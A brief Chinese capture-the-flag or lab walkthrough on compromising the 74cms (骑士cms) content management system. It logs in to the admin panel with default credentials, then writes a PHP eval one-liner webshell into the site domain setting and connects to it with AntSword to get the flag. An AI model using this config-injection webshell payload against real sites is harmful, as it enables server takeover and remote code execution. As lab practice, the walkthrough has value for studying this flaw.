骑士系统cms打靶记录

1. 访问漏洞地址看到 是骑士cms系统！

1. 在url后面加上：/index.php?m=Admin 访问后台，账号密码为：adminadmin/adminadmin

1. 修改网站域名为一句话木马！（慎重!）

   http://127.0.0.1/.',eval($_POST[a]),'/.com
   

1. 进行蚁剑链接

1. 拿到权限，获取flag

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。